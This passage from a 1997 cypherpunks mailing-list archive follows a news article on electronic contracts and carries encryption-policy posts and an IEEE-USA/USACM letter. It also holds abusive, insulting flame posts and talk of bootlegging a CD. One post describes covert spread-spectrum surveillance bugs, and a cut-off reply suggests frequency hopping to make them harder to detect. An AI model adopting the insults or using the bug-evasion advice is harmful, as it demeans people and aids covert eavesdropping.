Southern Sun flower shop in Tallahassee, Fla., the florist, Bob Deak,
also deals in trading cards. 

With three computers and links to the Internet, Deak bargains with
collectable card buyers and sellers from as far away as Italy,
Australia and Singapore. He does not worry about the lack of paper
contracts to document the deals he strikes, even though the
transactions can run as high as $20,000 apiece. His profits, he said,
far outweigh the risks that a deal might go sour. 

One deal in particular led to a dispute - a $1,020 purchase of a card
collection last year from a 14-year-old, Ted Clark of Haddonfield,
N.J. 

Deak said ``youngsters'' selling cards sometimes do not understand
the meaning of ``near mint.'' So, after examining the cards he had
agreed to purchase in several installments, Deak decided they were
not in near-mint condition and canceled a couple of checks he had
written to Ted Clark and sold the cards for less than the original
purchase price. 

But Deak's actions did not sit well with Ted, now 16, especially
since Deak had made an electronic agreement.  Ted thought he had been
``rooked'' because he did not receive the full amount, said his
mother, Amelia H. Boss, a law professor at Temple University School
of Law and an expert on Internet commerce. She took Ted's case and,
with the assistance of a Florida colleague who served as local
counsel, contacted Deak and eventually persuaded him to pay the
balance of the money. 

Boss said these sorts of disputes are commonplace on the Net. But,
she said, the high cost of suing, especially across state and
national borders, prevent most such squabbles from making it to
court. The resulting dearth of test cases on digital contracts has
left many business managers, corporate lawyers and legal scholars
uncertain about the enforceability of electronic agreements. 

The uncertainty has had a chilling effect, even at computer-astute
places like General Electric Co.'s GE Information Services unit and
the TPN Register Co. - GE's joint venture with Thomas Publishing Co. 

The companies solicit suppliers and hammer out details of procurement
contracts for GE's affiliates and other companies via the Internet.
But when it comes time to execute a contract, the companies resort to
pen and paper. 

``I think ideally you'd love to be 100 percent electronic,'' said
Orville A. Bailey, vice president of marketing and business
development at TPN, because adding paperwork is not as efficient.
But, he said, his company is more ``comfortable'' having signed paper
contracts on hand. 

Bailey is not alone. 

E. Allan Farnsworth, a leading contract law professor at Columbia
University, said that when a contract was substantial and complex,
``I think the safe thing to do is to do it in the old-fashioned
way.'' 

The reason in part, according to Raymond T. Nimmer, professor of law
at the Houston Law Center, is the Statute of Frauds - which traces
its origins to early English law - requiring that many contracts be
written and signed by the parties against whom enforcement is sought.
While some states, including California, Minnesota, Texas, Utah and
Washington, have recently passed laws permitting digital signatures
to satisfy the Statute of Frauds, Professor Nimmer said, most states
- including New York - have not. In addition to the Statute of Frauds
problem, electronic contracts can give rise to questions of
authenticity and authority of the parties involved, Nimmer said. 

Even in states with no laws addressing enforceability of electronic
contracts, many legal experts are confident such agreements will hold
up in court. Arthur Rosett, a law professor at the University of
California, Los Angeles, said, ``It's hard for me to imagine a court
finding that an electronic communication that has been proven does
not satisfy the Statute.'' 

Moreover, some computer experts contend, electronic contracts are in
some respects better than paper ones.  Vincent I. Polley, general
counsel at Omnes Co., a network services concern, said software
should render electronic contracts tamper- and forgery-proof. 

But others were guarded in their endorsement of electronic contracts.
``The judicial system - the lawyers, judges and juries - are not
populated by hackers,'' said Jonathan J. Lerner, a partner at
Skadden, Arps, Slate, Meagher & Flom. ``If you're talking about a
very large and important contract, you need to have your head
examined not to secure the best form of agreement'' - which, in his
view, remains a paper contract. 

The stakes can be high, said Constance E. Bagley, senior lecturer in
law and management at the Stanford Business School and a practicing
lawyer. She cited the example of a software sale over the Internet,
in which the software had a bug that damaged the purchaser's entire
data base. 

If the contract were deemed unenforceable because it did not satisfy
a requirement that it be a signed writing, or because the
authenticity or authority of the person assenting to the terms came
into question, then the merchant could theoretically be liable for
all of the purchaser's losses, she said, because limitations on
liability included in the contract would be ineffective. 

Lawmakers are scrambling to fill the gap between technology and the
law. Leaders of this effort include Professor Boss of Temple
University and Professor Nimmer of the Houston Law Center, who are
helping revise the Uniform Commercial Code to deal with electronic
contracts. Under the proposed revision of the code, which governs
transactions in all 50 states, electronic agreements formed with
active consent, such as digital signatures or clicking on spaces
indicating acceptance of terms, generally would be enforceable. 

But the UCC revision, which individual state legislatures could
adopt, adapt or ignore at their own choosing, is at least a year away
from completion. 

It could run into further delays because of criticism aimed not at
the technical provisions concerning enforceability of electronic
contracts, but at changes and additions within the draft to sales and
licensing laws. For example, some intellectual property experts worry
the revision would allow publishers to write contracts that encroach
upon rights in the public domain, said Pamela Samuelson, professor of
information management and law at the University of California,
Berkeley. And the American Automobile Manufacturers Association
contends that the revision's proposed changes in rules for the sale
of goods would increase seller liability and the cost of doing
business. 

In addition to the UCC revision, the National Conference of
Commissioners on Uniform State Laws is planning to propose state laws
legitimizing electronic contracts not covered by the UCC. And the
U.N. Commission on International Trade Law, on which Boss served as
the American delegate and expert adviser, is completing a model law
on electronic commerce that is expected to be presented to individual
countries for incorporation in their domestic laws. 

Washington, so far, appears to be eager for the law to catch up with
the technology. Several agencies, including the Commerce Department,
have collaborated on a paper favoring the adaption of domestic and
global laws to support electronic contracts. 

As lawmakers struggle to get rules in place, some businesses are not
waiting. For these businesses, ``The cost of the gamble is cheaper
than the cost of the contract,'' said Patricia B. Fry, a law
professor at the University of North Dakota and the chairwoman of the
national commissioners conference electronic contract effort. 

Ford Motor Co. uses ``purely electronic contracts'' with suppliers,
according to James Ziety, counsel at Ford. Ziety said he knew of no
trouble with Ford's electronic agreements. Any problems, he said,
were ``virtually always worked out at the business level.'' 

Meanwhile, Boss said, the gap in the law invited a major court
decision. ``When the case comes along,'' she said, `` when it hits,
it may well be the big one.'' 

As for Deak, the uncertainties about electronic contracts are not
holding him back from making deals online.  ``Every night when I say
my prayers,'' he said, ``I thank the Lord for the Internet.'' 



------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/08/97
Time: 05:13:44
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ACM US Public Policy Office <usacm_dc@acm.org>
Date: Tue, 8 Jul 1997 18:19:13 +0800
To: cypherpunks@toad.com
Subject: IEEE-USA & USACM Letter on S. 909
Message-ID: <v03110701afe7c0be2b0e@[205.177.25.31]>
MIME-Version: 1.0
Content-Type: text/plain




**************************************

The Institute of Electrical and Electronics Engineers-
United States Activities
1828 L Street, NW, Suite 1202
Washington, DC 20036
T: (202) 785-0017; F: (202) 785-0835

The Association for Computing
U.S. Public Policy Office
666 Pennsylvania Ave., SE
Suite 302 B
Washington, DC  20003
T: (202) 544-4859
F: (202) 547-5482


July 3, 1997

The Honorable John McCain
Chairman
Senate Commerce, Science & Transportation Committee
241 Russell Senate Office Bldg.
Washington, DC 20510

Dear Mr. Chairman:

The U.S. Public Policy Office for the Association for Computing (USACM) and
The Institute of Electrical and Electronics Engineers-United States
Activities (IEEE-USA) note with considerable dismay the Senate Commerce,
Science and Transportation Committee's recent approval of S. 909, the
"Secure Public Networks Act."

We share many of the concerns of the Committee members regarding problems
of national security and law enforcement.   However, we believe that the
"Secure Public Networks Act," as approved by the Committee, leads U.S.
encryption policy in the wrong direction.   The proposed bill stands in
opposition to the scientific and professional opinions of many experts who
believe that national security and public safety will be weakened by the
mandated introduction of constrained or recoverable-key encryption.  We
also believe that such action will hinder U.S. competitiveness in
international markets, establish a dangerous precedent for the future, and
endanger cherished civil liberties in the U.S. and elsewhere in the world.

Since no hearings were held on the bill, the Committee may not have had
full information on its implications.
We believe the bill will have a serious, negative and long-term impact on
society in general and on our organizations and their members.  We are
keenly interested in supporting significant consideration of the important
issues involved, and we would very much like to provide technical and
scientific input on this issue.  Many of our members are
internationally-recognized experts in the area of information security and
encryption, and several have significant experience with law enforcement
and national security issues.  We would be happy to put you in contact with
some of these experts should you desire more information on the points we
outline in this letter.

In what follows, we  briefly outline some of the reasons why so many
experts believe such a bill is harmful if it became law.





        - 2 -

First, the bill is economically harmful.  Voting to restrict strong
cryptography would damage America's dominance in information technologies.
Secure software and hardware is available overseas.  Mathematical acumen
exists around the world; the U.S. can neither control nor contain it.
Software companies will continue to be forced to seek talent elsewhere.
The widely-used, strong cryptographic algorithm IDEA, for example, was
developed in Europe.  U.S. software and hardware suppliers can incorporate
IDEA into their products, but only if those products are confined to use in
the U.S.   Export controls have obviously not hindered the worldwide spread
of encryption products based on IDEA and produced outside the U.S.  These
controls have merely prevented U.S. providers from participating in that
global market.  Customers throughout the world have the sophistication to
understand the need for strong cryptographic products and they will
continue to seek to buy them wherever they are sold.  The result will be an
increasing loss of jobs and revenues in an area where the U.S. once held
the dominant position.  It is conceivable that our own industry and
civilian sector might eventually become dependent on foreign cryptography
products should U.S.  firms continue to be prohibited from open competition
in this arena.

Second, this bill threatens cherished civil freedoms.  Information
technologies make data surveillance possible and increasingly affordable.
The best technical protections available to the individual depend upon
cryptography.  There is also an unfortunate history of a few law
enforcement agents and government officials using their positions and
access to violate the law and the rights of citizens.  Strong encryption is
the only practical means available to law-abiding citizens to defend
themselves against these infrequent, but all-too-real abuses.

The wording in the proposed bill for organizations with Federal funding to
rely on a mandated form of encryption will be burdensome and may lead to
severe invasions of privacy.  For instance, if a library or university were
forced to implement such encryption, how could the organization ensure that
its users were actually employing the system?  The only sure method would
be to "snoop" on the messages to see if they were breakable under the
mandated scheme.  Otherwise, users would be able to substitute their own
encryption instead of, or in addition to, the mandated form, thus rendering
this bill meaningless but still costly to implement.  This raises serious
questions about privacy -- and more importantly -- First Amendment
considerations.

Third, the criminal element will not be hindered by any legislation similar
to the one proposed.  The referenced bill provides no provisions that would
actually deter criminals from employing strong encryption obtained from
other sources.    Drug cartels, terrorists, pornographers and others who
might use encryption in criminal enterprises are already violating laws
with penalties much more severe than any that might be imposed for using
unauthorized encryption technologies.  Meanwhile, law-abiding citizens
would be forced to rely on technologies that might not protect their
private information against "crackers" and potential blackmailers.  As in
the physical world, the best public safety results from crime prevented
through good practices, rather than crimes solved.  Without strong
cryptography Americans cannot lock their electronic doors, but must instead
remain vulnerable.  Thus, constraining cryptography might help law
enforcement solve a small number of crimes, but it will do nothing to
prevent opportunities for even more crimes, thereby reducing overall public
safety.

Fourth, constraints on strong cryptography will jeopardize national
security.  Requiring or encouraging weakened technology leaves the United
States vulnerable to information warfare from other nation-states,
techno-anarchists and terrorists, and from organized criminal elements.  It
is vital that telephone systems, medical health care systems, utility
systems, and other control mechanisms affecting every sector of the economy
be made more secure and not restrained from using improved security.  Our
national security depends on the reliability of our




        - 3 -

national infrastructures and critical systems, particularly those based on
computer and communications technology.  To legislate the use of untested
mechanisms that present weakened protection, or that have a single point of
failure and attack, will unnecessarily endanger those critical institutions
and the people who depend on them.  Those same forces arrayed against our
national interests will be freely able to obtain stronger cryptography
technology from the many other countries that do not place restrictions on
its development and sale.

Fifth, information technologies change quickly.  We don't want to require
enabling legislation whenever advances in technology increase the
vulnerability of current key lengths.  The recent cracking of 56-bit DES in
the RSA challenge shows that distributed computing power is now available
to break this key length, thus identifying a need for larger keys.  A
breakthrough in mathematics, such as increasing the speed of factoring
numbers, would require a prompt response, such as increasing key lengths or
changing algorithms.  The proposed legislation would severely discourage
such changes.  Additionally, by preventing the initial acquisition of
strong encryption technology, the need for near-term upgrades to defeat
improved cracking techniques is almost assured,  as are the extra financial
burdens.

As a last point, consider the implicit message sent by passage of this act
or any like it.  The U.S. has long been a vocal proponent of freedom of
speech and other civil rights for citizens around the world.  Why should
any other nation's leaders heed further such rhetoric if the U.S. adopts
the proposed bill?  If some foreign nation with a history of oppression
were to pass the same legislation so as to eavesdrop on their citizens'
communications for purposes of  identifying human rights activities, we
would register strong disapproval.  With passage of legislation such as the
"Secure Public Networks Act" the U.S. loses the moral high ground in any
future such scenario.

In summary, our professional position is that  passage of the "Secure
Public Networks Act" or similar legislation is ill-advised; we urge you to
defeat this bill.   Instead, we encourage passage of legislation such as
Senator Conrad Burns' Pro-CODE bill, or Representative Bob Goodlatte's SAFE
bill as a better, more effective aid to national security, law enforcement
and civil rights.

IEEE is the world's largest technical professional association with 320,000
members worldwide.   IEEE-USA promotes the career and technology policy
interests of the more than 220,000 electrical, electronics and computer
engineers who are U.S. members of the Institute.  The Association for
Computing (ACM) is an international non-profit educational and scientific
society with 76,000 members worldwide, 60,000 of whom reside in the U.S.
USACM strives to promote dialog on technology policy issues among U.S.
policy makers, the general public, and the technology community.

If you need additional information, please contact Deborah Rudolph in the
IEEE-USA Washington office at (202) 785-0017 or Lauren Gelman in the USACM
Public Policy office at (202) 544-4859 or (202) 298-0842.

Sincerely,




Barbara Simons, Ph.D.           Paul J. Kostek
Chair, U.S. Public Policy       Vice Chair
Committee of ACM                United States Activities Board






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:09:34 +0800
To: cypherpunks@toad.com
Subject: piracy
In-Reply-To: <199707080400.XAA11109@bureau42.ml.org>
Message-ID: <1Psi0D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <remailer@bureau42.ml.org> writes:

> > (Oh and by the way I got the CD writer - thanks again to everyone who gave
> > feedback regarding the backup systems)
>
> Are you planning to use this to bootleg the Dr Dobbs crypto CD?
> If not, could you be commissioned to do so?

Only time will tell.  I don't have the crypto CD yet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:10:04 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707080506.AAA14434@mailhub.amaranth.com>
Message-ID: <Lssi0D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97
>    at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >I've replaced OS/2 on it by Windows 95.
>
> Sorry to hear of your downgrade. :(

Downgrade it is.  I was planning to migrate this one to NT, but NT won't
install without some hardware changes, so I settled for W95 for now.

I still have another box running OS/2.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:07:32 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080550.HAA12425@basement.replay.com>
Message-ID: <u1si0D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
> The Tim May character is, however, based on a real character who died
> peacefully in his sleep over five years ago.

I'm sorry to hear that, Tim...

> Lucky Green's posts are really by Dr Vulis.

I resent that.  Why would I create a personality of an ignorant, loud,
foul-mouthed Mac luser? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@lsd.com>
Date: Tue, 8 Jul 1997 22:40:53 +0800
To: cypherpunks@cyberpass.net
Subject: Spread Spectrum Surveillance Modules
Message-ID: <v04000809afe7ff5de7bd@[192.187.167.52]>
MIME-Version: 1.0
Content-Type: text/plain



[From the TSCM-L Technical Security Mailing List]

................................. cut here .................................

TSCM Intelligence Update - Spread Spectrum Surveillance Modules

New Spread Spectrum Surveillance Modules

There are some new spread spectrum products coming into the US by way of
China, and are starting to show up in Spy Shops on the West coast, Chicago,
and Miami area.

Two sided, four layer, surface mount PCB, several RF and audio IC's,
several pots, coils, etc. Device is a raw module, designed for covert
installations in an office or SOHO environment.

SM connector for antenna, micro molex connector for power and
computer/serial interface.

PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.

Products are all based on a cordless telephone chip set, 780 Mhz to 980
Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?).

Analysis of RF section indicates good response from 610 Mhz to 1090 Mhz.

Serial data rates between 56 kb/s and 784 kb/s (12 full audio channels
capable).

Devices have a two way RS422 serial port to facilitate setup prior to field
usage.

Programmed RF power levels range is spec'd between 50mw and 250mw, suspect
the circuits will operate as low as 5mw. Evaluation of the RF amp indicates
that RF section should support a full watt of power with no problem.

Recommended voltage is 3/6vdc, but circuit should work fine on 9 or 12vdc.

Connections for two or three wire transducers. Audio path is thru pre-amp,
compander, CODEC, and controller. Looks like it can support two elements,
each with its own tunable preselector.

Large amount of 60 hz filtering, suspect they were originally designed for
installation into power strips (APC, Best, Woods, etc).

Look for the low level multihump signature on the spectrum analyser, and
take a REAL hard look at all surge protectors.

Be sure to "box" all electrical artifacts encountered on a TSCM sweep.

Well engineered, suspect cost to manuf. is under $35, should be popular,
most of the spy shops are selling these for $1500 to $3000.

More details to follow after the holiday, should have an update by that
time regarding the VLF devices being built by Thompson, and E-Systems.


 --James M. Atkinson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 14:06:57 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080336.VAA28514@wombat.sk.sympatico.ca>
Message-ID: <199707080550.HAA12425@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, Jul 07, 1997 at 09:39:58PM -0400, BadRemailer wrote:
> Tim May wrote:
> > The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
> > Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
> > again.
> > 
> > While I was out of town, he arranged to have this message sent:
> > 
> > At 5:20 PM -0700 7/2/97, Tim May wrote:
> > >  Anything that isn't nailed down, is mine.
> > >  Anything that I can pry loose, isn't nailed down.
> 
>   "Toto" is actually an anonymous pseudonym of Adam Back, who resents
> Tim May's respected position on the list. "TruthMonger" posts are 
> usually written by John Young and Robert Hettinga as a result of 
> having the same drug connections and thus a common outlook on life
> when they are stoned out of their gourds.

What a bozo! This is completely backward.  Tim May is actually a
complete fabrication, a clever construct of that literary genius Toto. 

The Tim May character is, however, based on a real character who died
peacefully in his sleep over five years ago.  Adam Back doesn't exist,
either.  You are, however, correct about John Young and Robert
Hettinga being lovers. 

>   Lucky Green's recent posts are actually forgeries done by snow, and
> Kent Crispin has been sending posts purporting to be from Dr. Vulis.

This is completely screwed up, as well.  snow has been on vacation for
the past month.  Lucky Green's posts are really by Dr Vulis.  Kent
Crispin is another fabrication of Toto's, this time with no apparent 
model. 

FishMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 00:17:41 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080713.JAA26805@basement.replay.com>
Message-ID: <uuui0D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>   In the movie version, Eddie Murphy plays BadRemailer, and the
> big scene is when he walks into a cypherpunks physical meeting
> and says, "I'm your worst nightmare...a remailer with a LOG!"

Gary Burnore (spit) would masturbate to that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 14:13:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707080601.IAA14197@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>Former employees call senior leadership the "Irish Mafia" and the Office of
>Discrimination Complaints and Counseling "a party organization for blacks."

A heartwarming report.

The NSA represents the worst of America: its paranoia, its ruthlessness,
its end-justifies-the-means amorality.  The NSA's personnel policies
reveal its attitudes clearly.
(http://theory.stanford.edu/people/donald/NSA.doc.html)

It is ironic indeed that the NSA is being weakened, not by the foreign
enemies it sees behind every curtain, but by the EEOC.  NSA's immoral
and callous mistreatment of employees and its jealous defense of white
heterosexual male privilege have been shielded for far too long behind
the cloak of national security.  An organization which seeks the
darkness so eagerly can only fear the light.

There is no place any longer in the world for an agency like the NSA.
It is an enemy to freedom and an enemy to the free citizenry of its
own country.

We need a new agency, one to defend us against infowar, to help
industrial competitiveness, to assist Americans in retaining their
freedoms rather than attempting to strip them away for its own evil
purposes.  Let us hope that the changing of the guard at the NSA will
lead to a rebirth and a renewal as an agency looking forward, rather
than one concerned only with guarding its own rear.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 15:07:48 +0800
To: cypherpunks@toad.com
Subject: Re: A.Word.A.Day--cryptozoology / Was Re: Forgeries
Message-ID: <199707080654.IAA23508@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Wordsmith wrote:
> 
> cryp.to.zo.ol.o.gy n. 1969 :1) the study of the lore concerning legendary
>    animals (as Sasquatch) especially in order to evaluate the possibility of
>    their existence
>    2) the study of the lore concerning legendary members of the 
>    cypherpunks mailing list (as Tim C. May) especially in order 
>    to evaluate the possibility of their existence, as opposed to
>    being the creation of the Electronic Forgery Foundation.
> 
>    Maria Goodavage, Most scientists merely amused., USA TODAY, 05-24-1996,
>    pp 08A.
>    "But J. Richard Greenwell, a zoologist at the International Society of
>    Cryptozoology, which studies evidence of unverified animals, cites the
>    example of the mountain gorilla, thought to be a myth until the early
>    1900s. `It's the largest known primate in the world, and it took a long,
>    long time to prove it really exists,' he says.
>    On the existence of Tim C. May, Greenwell said, "Legend tells us
>    that he is a Cypherpunk Sasquatch, but every researcher who has 
>    gone in search of him has come back in a body bag with a variety
>    of bullet holes in the carcass."
>    Greenwell also quotes a writer at Market Magazine, in regard to the
>    rumored existence of Robert Hettinga, "If Hettinga really exists,
>    then why is he never credited for any quotes in the media?"
> 
> This week's theme: AWAD's recommendations for some unusual areas to work in.
> 
> ...........................................................................
> No wonder nobody comes here--it's too crowded. -Yogi Berra
> 
> Send your comments about words to anu@wordsmith.org.  To subscribe or
> unsubscribe A.Word.A.Day, send a message to wsmith@wordsmith.org with
> "Subject:" line as "subscribe <Your Name>" or "unsubscribe".  Archives,
> FAQ, gift subscription form, and more at: http://www.wordsmith.org/awad/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 15:25:09 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
Message-ID: <199707080713.JAA26805@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



BadRemailer wrote:

X-Comments: Note: It is BadRemailer policy to read all anonymous mail
X-Comments: passing through our hands, and expose the nasty little 
X-Comments: secrets of those who use our service.
X-Comments: Not that we're troublemakers...

> BadRemailer
> "Some people just can't keep a secret."

  In the movie version, Eddie Murphy plays BadRemailer, and the
big scene is when he walks into a cypherpunks physical meeting
and says, "I'm your worst nightmare...a remailer with a LOG!"

Steven SpeilMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Donald Weightman <dweightman@Radix.Net>
Date: Tue, 8 Jul 1997 22:42:29 +0800
To: cryptography@c2.net
Subject: German Official Pleas for Strong Encryption
Message-ID: <3.0.16.19970708102925.21b71c84@pop.radix.net>
MIME-Version: 1.0
Content-Type: text/plain



Reuters (as picked up in today's FINANCIAL TIMES) reports that German
economics minister Gunter Rexrodt called for loosening the restrictions on
strong encryption. Speaking yesterday at a European ministerial conference
on global integration, he said "Users can only protect themselves against
having data manipulated, destroyed, or spied on through the use of strong
encryption procedures."


Hmmm: seems like there's a trend among Certain Global Opinion Makers that
some people -- maybe the financial markets?  -- need good crypto: compare
last week's ECONOMIST and FINANCIAL TIMES editorials.  Anyone know how the
new German legislation deals with encryption?


cheers

.........................................
Donald Weightman
dweightman@radix.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 8 Jul 1997 23:07:53 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: [MILCOM] NSA: struggling with diversity ...
In-Reply-To: <199707080601.IAA14197@basement.replay.com>
Message-ID: <199707081509.LAA18680@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous writes:

> There is no place any longer in the world for an agency like the NSA.
> It is an enemy to freedom and an enemy to the free citizenry of its
> own country.
> 
> We need a new agency, one to defend us against infowar, to help
> industrial competitiveness, to assist Americans in retaining their
> freedoms rather than attempting to strip them away for its own evil
> purposes.  Let us hope that the changing of the guard at the NSA will
> lead to a rebirth and a renewal as an agency looking forward, rather
> than one concerned only with guarding its own rear.

Anonymous must work for CDT or VTW or some other beltway agency. 
Even while decrying the corruption and waste in this government agency,
he feels compelled to reconstitute it with a New and Better version.

His proposition that a new agency could "help industrial competitive-
ness" and "defend us against infowar" is ludicrous and insupportable.
And how can one even keep a straight face while proposing a government
agency to help us "retain [our] freedoms"?


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Tue, 8 Jul 1997 23:22:53 +0800
To: cypherpunks@Algebra.COM
Subject: A really  meaningfull upgrade
Message-ID: <3.0.16.19970708110802.3bef3438@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:

>I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
>I think it's sort of a change for the better. 

The only meaningfull upgrade would be a total replacement of his fucked up,
disease ridden perverted brain.

C.I.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 9 Jul 1997 03:44:13 +0800
To: cypherpunks@toad.com
Subject: Israel admits that its crypto policy was imposed by the US
Message-ID: <199707081918.MAA17780@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded-by: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
From: the Jerusalem Post, 7th July 1997 (from www.jpost.co.il)

ARCHIVE_DATE:Mon, Jul 07, 1997
ARCHIVE_NAME:Business
ARCHIVE_HEAD:Chief scientist: Legal system gave in to US patent pressure
ARCHIVE_AUTH:By JENNIFER FRIEDLIN

JERUSALEM (July 7) - The Israeli legal system bowed to US pressure when it
devised certain patent and encryption laws, which are now harming Israeli
exports, Industry and Trade Ministry Chief Scientist Orna Berry said yesterday.

Due to restrictive patent laws, which prohibit generic drug manufacturers from
conducting research on original products before the patent protection expires,
local companies are losing their competitive advantage to US companies that do
not face such restrictions.

Earlier this month, Teva Pharmaceutical Industries Ltd., one of Israel's
largest and most prestigious companies, said it is considering moving part of
its research and development operations overseas in order to bypass the law.

The encryption laws also hinder Israeli exports, because it insists that
products with special coding must be sold directly to the end-user rather than
off the shelf. While the law is meant to safeguard defense-related products,
consumer products - such as Internet software - are also affected.

One hundred and fifty companies employ encryption technology.

"The Israeli legal system has not done a good job in considering the impact of
these laws, and they have bent in front of pressure from the Americans," Berry
said.

Both Berry and Industry and Trade Minister Natan Sharansky have appealed to the
Justice Ministry to revise the law.

Berry said she hopes they will conclude the procedure by the end of the year. 
Teva has been trying to change the patent law since 1994, when it was passed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 9 Jul 1997 03:49:15 +0800
To: cypherpunks@toad.com
Subject: Article on Jim Bell/Assassination Politics
Message-ID: <Pine.GSO.3.95.970708122945.29748H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



In the July/August issue of Internet Underground magazine, I have a
feature article on Jim Bell and Assassination Politics. I mention the
cypherpunks list, of course. Nothing especially new, but folks might be
interested in a summary and recap. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 9 Jul 1997 04:20:56 +0800
To: Dave Del Torto <ddt@lsd.com>
Subject: Re: Spread Spectrum Surveillance Modules
In-Reply-To: <v04000809afe7ff5de7bd@[192.187.167.52]>
Message-ID: <v03102800afe844ca8728@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>[From the TSCM-L Technical Security Mailing List]
>
>................................. cut here .................................
>
>TSCM Intelligence Update - Spread Spectrum Surveillance Modules
>
>New Spread Spectrum Surveillance Modules
>
>There are some new spread spectrum products coming into the US by way of
>China, and are starting to show up in Spy Shops on the West coast, Chicago,
>and Miami area.
>
>Two sided, four layer, surface mount PCB, several RF and audio IC's,
>several pots, coils, etc. Device is a raw module, designed for covert
>installations in an office or SOHO environment.
>
>SM connector for antenna, micro molex connector for power and
>computer/serial interface.
>
>PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.
>
>Products are all based on a cordless telephone chip set, 780 Mhz to 980
>Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?).

Unfortunately, all high volume consumer direct sequence (DS) chips are
optimized for data throughput and spectral efficiency, the exact opposite
of what you want for surveillence.  The compact sinx/x DS signature is easy
to see on any spectrum analyzer when one is relatively close to the bug.
However, if the DS chip is used in combination with frequency hopping (FH),
especially if the hop frequencies overlap, then a much more robust
surveillence device can be created.  Introduction of FH does complicate the
